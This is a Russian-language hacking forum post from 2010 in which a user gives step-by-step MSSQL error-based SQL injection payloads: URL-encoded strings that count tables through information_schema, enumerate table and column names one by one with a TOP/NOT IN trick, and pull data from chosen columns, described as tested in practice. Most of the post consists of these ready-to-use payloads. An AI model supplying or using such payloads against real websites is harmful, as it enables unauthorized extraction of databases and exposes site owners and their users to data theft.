Показать сообщение отдельно
Старый 25.11.2010, 20:06   #6
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
- Второй метод. С помощью метода исключения (без указывания имен таблиц)
не самый лучший вариант, уже писал на ачаде, напишу и здесь, универсальный метод работающий в большинстве случаев без глюков:

1. Узнаем кол-во таблиц (или колонок - тогда information_schema.columns и where table_name=...):

Цитата:
## кол-во таблиц в in_sch.tables
5'+or+1=convert(int,(SeLeCT+SUBSTRING(char(39)%2bc har(94)%2bchar(39)%2BCAST(COUNT(*)%20AS%20varchar) ,1,1000)+FROM+INfORmATION_ScHEMA.TaBLeS))
2. Самое главное - универсальный способ забора названий таблиц/колонок без растягивания урла до неработающей длины в потенциале:

Цитата:
5'+or+1=(SeLect+max(table_name)+from+(select+top+1 +table_name+from+information_schema.tables+where+t able_name+not+in+(select+top+". $i . "+table_name+from+information_schema.tables+order+ by+table_name)+order+by+table_name)a)

где $i - номер интересующего объекта (аналог limit)

3. Ну и забор непосредственно данных:

5'+or+1=(select+top+1+". $column_name . "+from+". $table . "+where+". $column_name . "+not+in+(select+top+". $i . "+". $column_name . "+from+". $table . "+order+by+" . $column_name. ")+order+by+".$column_name . ")"

где $table - таблица, а $column_name - соответственно колонка, $i - число, аналог перебора по limit

PS: Проеврено на практике (с)
PS: Не забудьте удалить пробелы для работабельности

Последний раз редактировалось Pashkela; 25.11.2010 в 20:19..
Pashkela вне форума   Ответить с цитированием